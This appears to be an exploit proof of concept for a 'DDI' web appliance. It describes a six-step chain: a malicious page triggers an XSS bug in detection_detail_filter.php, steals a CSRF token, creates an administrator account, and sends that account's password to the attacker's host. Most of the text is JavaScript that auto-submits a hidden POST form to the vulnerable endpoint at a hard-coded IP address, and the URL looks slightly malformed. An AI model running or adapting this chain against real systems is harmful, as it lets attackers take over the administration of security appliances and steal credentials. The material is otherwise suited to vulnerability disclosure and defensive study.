1. User logged into the DDI web interface is inticed to visit malicius web page. 
2. Malicious script on this page is launched using the XSS vulnerabilty in /php/detection_detail_filter.php
3. The script is getting CSRF token vip PUT request to /wsgi/csrf/get_token/
4. And then it uses the token obtained from the response to the prevoius request to add an account with administrator privileges
5. The password for the added account is obtained from response to the previous request.
6. Password can be transfered to attackers host via http request

<b>DDI PoC</b>
<script type="text/javascript">

function post(path, params, method) {
    method = method || "post"; // Set method to post by default if not specified.

    // The rest of this code assumes you are not using a library.
    // It can be made less wordy if you use one.
    var form = document.createElement("form");
    form.setAttribute("method", 'POST');
    form.setAttribute("action", path);

    for(var key in params) {
        if(params.hasOwnProperty(key)) {
            var hiddenField = document.createElement("input");
            hiddenField.setAttribute("type", "hidden");
            hiddenField.setAttribute("name", key);
            hiddenField.setAttribute("value", params[key]);

            form.appendChild(hiddenField);
         }
    }

    document.body.appendChild(form);
    form.submit();
}

var ddi_ip = '192.168.91.66';

post('https:///'+ddi_ip+'/php/detection_detail_filter.php', {'ips[]':'217.69.139.245:8'});

</script>